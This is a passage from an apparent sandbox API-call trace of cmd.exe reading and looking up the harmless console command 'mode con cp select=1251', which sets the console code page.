(hFile=0xf4) returned 0x3 [0203.625] _get_osfhandle (_FileHandle=1) returned 0xf4 [0203.625] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", cchWideChar=-1, lpMultiByteStr=0x4a64c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", lpUsedDefaultChar=0x0) returned 39 [0203.625] WriteFile (in: hFile=0xf4, lpBuffer=0x4a64c320*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x16f538, lpOverlapped=0x0 | out: lpBuffer=0x4a64c320*, lpNumberOfBytesWritten=0x16f538*=0x26, lpOverlapped=0x0) returned 1 [0203.625] _get_osfhandle (_FileHandle=0) returned 0xe8 [0203.626] GetFileType (hFile=0xe8) returned 0x3 [0203.626] _get_osfhandle (_FileHandle=0) returned 0xe8 [0203.626] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0203.626] ReadFile (in: hFile=0xe8, lpBuffer=0x4a64c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x16f838, lpOverlapped=0x0 | out: lpBuffer=0x4a64c320*, lpNumberOfBytesRead=0x16f838*=0x1, lpOverlapped=0x0) returned 1 [0203.626] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a64c320, cbMultiByte=1, lpWideCharStr=0x4a64e320, cchWideChar=1 | out: lpWideCharStr="m") returned 1 [0203.626] _get_osfhandle (_FileHandle=0) returned 0xe8 [0203.626] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0203.626] ReadFile (in: hFile=0xe8, lpBuffer=0x4a64c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x16f838, lpOverlapped=0x0 | out: lpBuffer=0x4a64c320*, lpNumberOfBytesRead=0x16f838*=0x1, lpOverlapped=0x0) returned 1 [0203.626] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a64c320, cbMultiByte=1, lpWideCharStr=0x4a64e322, cchWideChar=1 | out: lpWideCharStr="o") returned 1 [0203.626] _get_osfhandle (_FileHandle=0) returned 0xe8 [0203.626] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0203.626] ReadFile (in: hFile=0xe8, lpBuffer=0x4a64c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x16f838, lpOverlapped=0x0 | out: lpBuffer=0x4a64c320*, lpNumberOfBytesRead=0x16f838*=0x1, lpOverlapped=0x0) returned 1 [0203.626] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a64c320, cbMultiByte=1, lpWideCharStr=0x4a64e324, cchWideChar=1 | out: lpWideCharStr="d") returned 1 [0203.626] _get_osfhandle (_FileHandle=0) returned 0xe8 [0203.626] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0203.626] ReadFile (in: hFile=0xe8, lpBuffer=0x4a64c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x16f838, lpOverlapped=0x0 | out: lpBuffer=0x4a64c320*, lpNumberOfBytesRead=0x16f838*=0x1, lpOverlapped=0x0) returned 1 [0203.626] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a64c320, cbMultiByte=1, lpWideCharStr=0x4a64e326, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0203.626] _get_osfhandle (_FileHandle=0) returned 0xe8 [0203.626] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0203.627] ReadFile (in: hFile=0xe8, lpBuffer=0x4a64c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x16f838, lpOverlapped=0x0 | out: lpBuffer=0x4a64c320*, lpNumberOfBytesRead=0x16f838*=0x1, lpOverlapped=0x0) returned 1 [0203.627] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a64c320, cbMultiByte=1, lpWideCharStr=0x4a64e328, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0203.627] _get_osfhandle (_FileHandle=0) returned 0xe8 [0203.627] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0203.627] ReadFile (in: hFile=0xe8, lpBuffer=0x4a64c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x16f838, lpOverlapped=0x0 | out: lpBuffer=0x4a64c320*, lpNumberOfBytesRead=0x16f838*=0x1, lpOverlapped=0x0) returned 1 [0203.627] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a64c320, cbMultiByte=1, lpWideCharStr=0x4a64e32a, cchWideChar=1 | out: lpWideCharStr="c") returned 1 [0203.627] _get_osfhandle (_FileHandle=0) returned 0xe8 [0203.627] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0203.627] ReadFile (in: hFile=0xe8, lpBuffer=0x4a64c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x16f838, lpOverlapped=0x0 | out: lpBuffer=0x4a64c320*, lpNumberOfBytesRead=0x16f838*=0x1, lpOverlapped=0x0) returned 1 [0203.627] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a64c320, cbMultiByte=1, lpWideCharStr=0x4a64e32c, cchWideChar=1 | out: lpWideCharStr="o") returned 1 [0203.627] _get_osfhandle (_FileHandle=0) returned 0xe8 [0203.627] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0203.627] ReadFile (in: hFile=0xe8, lpBuffer=0x4a64c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x16f838, lpOverlapped=0x0 | out: lpBuffer=0x4a64c320*, lpNumberOfBytesRead=0x16f838*=0x1, lpOverlapped=0x0) returned 1 [0203.627] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a64c320, cbMultiByte=1, lpWideCharStr=0x4a64e32e, cchWideChar=1 | out: lpWideCharStr="n") returned 1 [0203.627] _get_osfhandle (_FileHandle=0) returned 0xe8 [0203.627] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0203.627] ReadFile (in: hFile=0xe8, lpBuffer=0x4a64c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x16f838, lpOverlapped=0x0 | out: lpBuffer=0x4a64c320*, lpNumberOfBytesRead=0x16f838*=0x1, lpOverlapped=0x0) returned 1 [0203.627] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a64c320, cbMultiByte=1, lpWideCharStr=0x4a64e330, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0203.627] _get_osfhandle (_FileHandle=0) returned 0xe8 [0203.627] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0203.627] ReadFile (in: hFile=0xe8, lpBuffer=0x4a64c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x16f838, lpOverlapped=0x0 | out: lpBuffer=0x4a64c320*, lpNumberOfBytesRead=0x16f838*=0x1, lpOverlapped=0x0) returned 1 [0203.627] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a64c320, cbMultiByte=1, lpWideCharStr=0x4a64e332, cchWideChar=1 | out: lpWideCharStr="c") returned 1 [0203.627] _get_osfhandle (_FileHandle=0) returned 0xe8 [0203.627] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0203.627] ReadFile (in: hFile=0xe8, lpBuffer=0x4a64c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x16f838, lpOverlapped=0x0 | out: lpBuffer=0x4a64c320*, lpNumberOfBytesRead=0x16f838*=0x1, lpOverlapped=0x0) returned 1 [0203.627] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a64c320, cbMultiByte=1, lpWideCharStr=0x4a64e334, cchWideChar=1 | out: lpWideCharStr="p") returned 1 [0203.627] _get_osfhandle (_FileHandle=0) returned 0xe8 [0203.627] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0203.627] ReadFile (in: hFile=0xe8, lpBuffer=0x4a64c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x16f838, lpOverlapped=0x0 | out: lpBuffer=0x4a64c320*, lpNumberOfBytesRead=0x16f838*=0x1, lpOverlapped=0x0) returned 1 [0203.627] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a64c320, cbMultiByte=1, lpWideCharStr=0x4a64e336, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0203.627] _get_osfhandle (_FileHandle=0) returned 0xe8 [0203.627] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0203.628] ReadFile (in: hFile=0xe8, lpBuffer=0x4a64c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x16f838, lpOverlapped=0x0 | out: lpBuffer=0x4a64c320*, lpNumberOfBytesRead=0x16f838*=0x1, lpOverlapped=0x0) returned 1 [0203.628] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a64c320, cbMultiByte=1, lpWideCharStr=0x4a64e338, cchWideChar=1 | out: lpWideCharStr="s") returned 1 [0203.628] _get_osfhandle (_FileHandle=0) returned 0xe8 [0203.628] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0203.628] ReadFile (in: hFile=0xe8, lpBuffer=0x4a64c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x16f838, lpOverlapped=0x0 | out: lpBuffer=0x4a64c320*, lpNumberOfBytesRead=0x16f838*=0x1, lpOverlapped=0x0) returned 1 [0203.628] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a64c320, cbMultiByte=1, lpWideCharStr=0x4a64e33a, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0203.628] _get_osfhandle (_FileHandle=0) returned 0xe8 [0203.628] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0203.628] ReadFile (in: hFile=0xe8, lpBuffer=0x4a64c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x16f838, lpOverlapped=0x0 | out: lpBuffer=0x4a64c320*, lpNumberOfBytesRead=0x16f838*=0x1, lpOverlapped=0x0) returned 1 [0203.628] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a64c320, cbMultiByte=1, lpWideCharStr=0x4a64e33c, cchWideChar=1 | out: lpWideCharStr="l") returned 1 [0203.628] _get_osfhandle (_FileHandle=0) returned 0xe8 [0203.628] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0203.628] ReadFile (in: hFile=0xe8, lpBuffer=0x4a64c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x16f838, lpOverlapped=0x0 | out: lpBuffer=0x4a64c320*, lpNumberOfBytesRead=0x16f838*=0x1, lpOverlapped=0x0) returned 1 [0203.628] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a64c320, cbMultiByte=1, lpWideCharStr=0x4a64e33e, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0203.628] _get_osfhandle (_FileHandle=0) returned 0xe8 [0203.628] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0203.628] ReadFile (in: hFile=0xe8, lpBuffer=0x4a64c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x16f838, lpOverlapped=0x0 | out: lpBuffer=0x4a64c320*, lpNumberOfBytesRead=0x16f838*=0x1, lpOverlapped=0x0) returned 1 [0203.628] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a64c320, cbMultiByte=1, lpWideCharStr=0x4a64e340, cchWideChar=1 | out: lpWideCharStr="c") returned 1 [0203.628] _get_osfhandle (_FileHandle=0) returned 0xe8 [0203.628] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0203.628] ReadFile (in: hFile=0xe8, lpBuffer=0x4a64c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x16f838, lpOverlapped=0x0 | out: lpBuffer=0x4a64c320*, lpNumberOfBytesRead=0x16f838*=0x1, lpOverlapped=0x0) returned 1 [0203.628] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a64c320, cbMultiByte=1, lpWideCharStr=0x4a64e342, cchWideChar=1 | out: lpWideCharStr="t") returned 1 [0203.628] _get_osfhandle (_FileHandle=0) returned 0xe8 [0203.628] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0203.628] ReadFile (in: hFile=0xe8, lpBuffer=0x4a64c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x16f838, lpOverlapped=0x0 | out: lpBuffer=0x4a64c320*, lpNumberOfBytesRead=0x16f838*=0x1, lpOverlapped=0x0) returned 1 [0203.628] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a64c320, cbMultiByte=1, lpWideCharStr=0x4a64e344, cchWideChar=1 | out: lpWideCharStr="=") returned 1 [0203.628] _get_osfhandle (_FileHandle=0) returned 0xe8 [0203.628] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0203.628] ReadFile (in: hFile=0xe8, lpBuffer=0x4a64c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x16f838, lpOverlapped=0x0 | out: lpBuffer=0x4a64c320*, lpNumberOfBytesRead=0x16f838*=0x1, lpOverlapped=0x0) returned 1 [0203.628] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a64c320, cbMultiByte=1, lpWideCharStr=0x4a64e346, cchWideChar=1 | out: lpWideCharStr="1") returned 1 [0203.628] _get_osfhandle (_FileHandle=0) returned 0xe8 [0203.628] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0203.628] ReadFile (in: hFile=0xe8, lpBuffer=0x4a64c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x16f838, lpOverlapped=0x0 | out: lpBuffer=0x4a64c320*, lpNumberOfBytesRead=0x16f838*=0x1, lpOverlapped=0x0) returned 1 [0203.628] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a64c320, cbMultiByte=1, lpWideCharStr=0x4a64e348, cchWideChar=1 | out: lpWideCharStr="2") returned 1 [0203.628] _get_osfhandle (_FileHandle=0) returned 0xe8 [0203.628] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0203.628] ReadFile (in: hFile=0xe8, lpBuffer=0x4a64c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x16f838, lpOverlapped=0x0 | out: lpBuffer=0x4a64c320*, lpNumberOfBytesRead=0x16f838*=0x1, lpOverlapped=0x0) returned 1 [0203.629] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a64c320, cbMultiByte=1, lpWideCharStr=0x4a64e34a, cchWideChar=1 | out: lpWideCharStr="5") returned 1 [0203.629] _get_osfhandle (_FileHandle=0) returned 0xe8 [0203.629] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0203.629] ReadFile (in: hFile=0xe8, lpBuffer=0x4a64c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x16f838, lpOverlapped=0x0 | out: lpBuffer=0x4a64c320*, lpNumberOfBytesRead=0x16f838*=0x1, lpOverlapped=0x0) returned 1 [0203.629] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a64c320, cbMultiByte=1, lpWideCharStr=0x4a64e34c, cchWideChar=1 | out: lpWideCharStr="1") returned 1 [0203.629] _get_osfhandle (_FileHandle=0) returned 0xe8 [0203.629] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0203.629] ReadFile (in: hFile=0xe8, lpBuffer=0x4a64c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x16f838, lpOverlapped=0x0 | out: lpBuffer=0x4a64c320*, lpNumberOfBytesRead=0x16f838*=0x1, lpOverlapped=0x0) returned 1 [0203.629] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a64c320, cbMultiByte=1, lpWideCharStr=0x4a64e34e, cchWideChar=1 | out: lpWideCharStr="\n") returned 1 [0203.629] _get_osfhandle (_FileHandle=0) returned 0xe8 [0203.629] GetFileType (hFile=0xe8) returned 0x3 [0203.629] _get_osfhandle (_FileHandle=0) returned 0xe8 [0203.629] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0203.629] _get_osfhandle (_FileHandle=1) returned 0xf4 [0203.629] GetFileType (hFile=0xf4) returned 0x3 [0203.629] _get_osfhandle (_FileHandle=1) returned 0xf4 [0203.629] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="mode con cp select=1251\n", cchWideChar=-1, lpMultiByteStr=0x4a64c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mode con cp select=1251\n", lpUsedDefaultChar=0x0) returned 25 [0203.629] WriteFile (in: hFile=0xf4, lpBuffer=0x4a64c320*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x16f818, lpOverlapped=0x0 | out: lpBuffer=0x4a64c320*, lpNumberOfBytesWritten=0x16f818*=0x18, lpOverlapped=0x0) returned 1 [0203.630] _wcsicmp (_String1="mode", _String2=")") returned 68 [0203.630] _wcsicmp (_String1="FOR", _String2="mode") returned -7 [0203.630] _wcsicmp (_String1="FOR/?", _String2="mode") returned -7 [0203.630] _wcsicmp (_String1="IF", _String2="mode") returned -4 [0203.630] _wcsicmp (_String1="IF/?", _String2="mode") returned -4 [0203.630] _wcsicmp (_String1="REM", _String2="mode") returned 5 [0203.630] _wcsicmp (_String1="REM/?", _String2="mode") returned 5 [0203.631] GetConsoleOutputCP () returned 0x1b5 [0203.631] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a64bfe0 | out: lpCPInfo=0x4a64bfe0) returned 1 [0203.631] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0203.631] GetConsoleTitleW (in: lpConsoleTitle=0x16f7d0, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0203.631] _wcsicmp (_String1="mode", _String2="DIR") returned 9 [0203.631] _wcsicmp (_String1="mode", _String2="ERASE") returned 8 [0203.631] _wcsicmp (_String1="mode", _String2="DEL") returned 9 [0203.631] _wcsicmp (_String1="mode", _String2="TYPE") returned -7 [0203.631] _wcsicmp (_String1="mode", _String2="COPY") returned 10 [0203.631] _wcsicmp (_String1="mode", _String2="CD") returned 10 [0203.631] _wcsicmp (_String1="mode", _String2="CHDIR") returned 10 [0203.631] _wcsicmp (_String1="mode", _String2="RENAME") returned -5 [0203.631] _wcsicmp (_String1="mode", _String2="REN") returned -5 [0203.631] _wcsicmp (_String1="mode", _String2="ECHO") returned 8 [0203.631] _wcsicmp (_String1="mode", _String2="SET") returned -6 [0203.631] _wcsicmp (_String1="mode", _String2="PAUSE") returned -3 [0203.631] _wcsicmp (_String1="mode", _String2="DATE") returned 9 [0203.631] _wcsicmp (_String1="mode", _String2="TIME") returned -7 [0203.631] _wcsicmp (_String1="mode", _String2="PROMPT") returned -3 [0203.631] _wcsicmp (_String1="mode", _String2="MD") returned 11 [0203.631] _wcsicmp (_String1="mode", _String2="MKDIR") returned 4 [0203.631] _wcsicmp (_String1="mode", _String2="RD") returned -5 [0203.631] _wcsicmp (_String1="mode", _String2="RMDIR") returned -5 [0203.631] _wcsicmp (_String1="mode", _String2="PATH") returned -3 [0203.631] _wcsicmp (_String1="mode", _String2="GOTO") returned 6 [0203.631] _wcsicmp (_String1="mode", _String2="SHIFT") returned -6 [0203.631] _wcsicmp (_String1="mode", _String2="CLS") returned 10 [0203.631] _wcsicmp (_String1="mode", _String2="CALL") returned 10 [0203.631] _wcsicmp (_String1="mode", _String2="VERIFY") returned -9 [0203.631] _wcsicmp (_String1="mode", _String2="VER") returned -9 [0203.631] _wcsicmp (_String1="mode", _String2="VOL") returned -9 [0203.632] _wcsicmp (_String1="mode", _String2="EXIT") returned 8 [0203.632] _wcsicmp (_String1="mode", _String2="SETLOCAL") returned -6 [0203.632] _wcsicmp (_String1="mode", _String2="ENDLOCAL") returned 8 [0203.632] _wcsicmp (_String1="mode", _String2="TITLE") returned -7 [0203.632] _wcsicmp (_String1="mode", _String2="START") returned -6 [0203.632] _wcsicmp (_String1="mode", _String2="DPATH") returned 9 [0203.632] _wcsicmp (_String1="mode", _String2="KEYS") returned 2 [0203.632] _wcsicmp (_String1="mode", _String2="MOVE") returned -18 [0203.632] _wcsicmp (_String1="mode", _String2="PUSHD") returned -3 [0203.632] _wcsicmp (_String1="mode", _String2="POPD") returned -3 [0203.632] _wcsicmp (_String1="mode", _String2="ASSOC") returned 12 [0203.632] _wcsicmp (_String1="mode", _String2="FTYPE") returned 7 [0203.632] _wcsicmp (_String1="mode", _String2="BREAK") returned 11 [0203.632] _wcsicmp (_String1="mode", _String2="COLOR") returned 10 [0203.632] _wcsicmp (_String1="mode", _String2="MKLINK") returned 4 [0203.632] _wcsicmp (_String1="mode", _String2="DIR") returned 9 [0203.632] _wcsicmp (_String1="mode", _String2="ERASE") returned 8 [0203.632] _wcsicmp (_String1="mode", _String2="DEL") returned 9 [0203.632] _wcsicmp (_String1="mode", _String2="TYPE") returned -7 [0203.632] _wcsicmp (_String1="mode", _String2="COPY") returned 10 [0203.632] _wcsicmp (_String1="mode", _String2="CD") returned 10 [0203.632] _wcsicmp (_String1="mode", _String2="CHDIR") returned 10 [0203.632] _wcsicmp (_String1="mode", _String2="RENAME") returned -5 [0203.632] _wcsicmp (_String1="mode", _String2="REN") returned -5 [0203.632] _wcsicmp (_String1="mode", _String2="ECHO") returned 8 [0203.632] _wcsicmp (_String1="mode", _String2="SET") returned -6 [0203.632] _wcsicmp (_String1="mode", _String2="PAUSE") returned -3 [0203.632] _wcsicmp (_String1="mode", _String2="DATE") returned 9 [0203.632] _wcsicmp (_String1="mode", _String2="TIME") returned -7 [0203.632] _wcsicmp (_String1="mode", _String2="PROMPT") returned -3 [0203.632] _wcsicmp (_String1="mode", _String2="MD") returned 11 [0203.632] _wcsicmp (_String1="mode", _String2="MKDIR") returned 4 [0203.632] _wcsicmp (_String1="mode", _String2="RD") returned -5 [0203.632] _wcsicmp (_String1="mode", _String2="RMDIR") returned -5 [0203.632] _wcsicmp (_String1="mode", _String2="PATH") returned -3 [0203.632] _wcsicmp (_String1="mode", _String2="GOTO") returned 6 [0203.632] _wcsicmp (_String1="mode", _String2="SHIFT") returned -6 [0203.632] _wcsicmp (_String1="mode", _String2="CLS") returned 10 [0203.632] _wcsicmp (_String1="mode", _String2="CALL") returned 10 [0203.632] _wcsicmp (_String1="mode", _String2="VERIFY") returned -9 [0203.632] _wcsicmp (_String1="mode", _String2="VER") returned -9 [0203.632] _wcsicmp (_String1="mode", _String2="VOL") returned -9 [0203.632] _wcsicmp (_String1="mode", _String2="EXIT") returned 8 [0203.632] _wcsicmp (_String1="mode", _String2="SETLOCAL") returned -6 [0203.632] _wcsicmp (_String1="mode", _String2="ENDLOCAL") returned 8 [0203.632] _wcsicmp (_String1="mode", _String2="TITLE") returned -7 [0203.632] _wcsicmp (_String1="mode", _String2="START") returned -6 [0203.632] _wcsicmp (_String1="mode", _String2="DPATH") returned 9 [0203.632] _wcsicmp (_String1="mode", _String2="KEYS") returned 2 [0203.632] _wcsicmp (_String1="mode", _String2="MOVE") returned -18 [0203.632] _wcsicmp (_String1="mode", _String2="PUSHD") returned -3 [0203.632] _wcsicmp (_String1="mode", _String2="POPD") returned -3 [0203.632] _wcsicmp (_String1="mode", _String2="ASSOC") returned 12 [0203.633] _wcsicmp (_String1="mode", _String2="FTYPE") returned 7 [0203.633] _wcsicmp (_String1="mode", _String2="BREAK") returned 11 [0203.633] _wcsicmp (_String1="mode", _String2="COLOR") returned 10 [0203.633] _wcsicmp (_String1="mode", _String2="MKLINK") returned 4 [0203.633] _wcsicmp (_String1="mode", _String2="FOR") returned 7 [0203.633] _wcsicmp (_String1="mode", _String2="IF") returned 4 [0203.633] _wcsicmp (_String1="mode", _String2="REM") returned -5 [0203.633] _wcsnicmp (_String1="mode", _String2="cmd ", _MaxCount=0x4) returned 10 [0203.633] SetErrorMode (uMode=0x0) returned 0x0 [0203.633] SetErrorMode (uMode=0x1) returned 0x0 [0203.633] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x229a90, lpFilePart=0x16f060 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x16f060*="Desktop") returned 0x25 [0203.633] SetErrorMode (uMode=0x0) returned 0x1 [0203.633] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a63f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0203.633] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0203.637] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a63f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0203.639] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0203.639] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\mode.*", fInfoLevelId=0x1, lpFindFileData=0x16edd0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x16edd0) returned 0xffffffffffffffff [0203.639] GetLastError () returned 0x2 [0203.639] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\mode", fInfoLevelId=0x1, lpFindFileData=0x16edd0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x16edd0) returned 0xffffffffffffffff [0203.639] GetLastError () returned 0x2 [0203.639] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0203.639] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\mode.*", fInfoLevelId=0x1, lpFindFileData=0x16edd0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x16edd0) returned 0x225c00 [0203.639] FindClose (in: 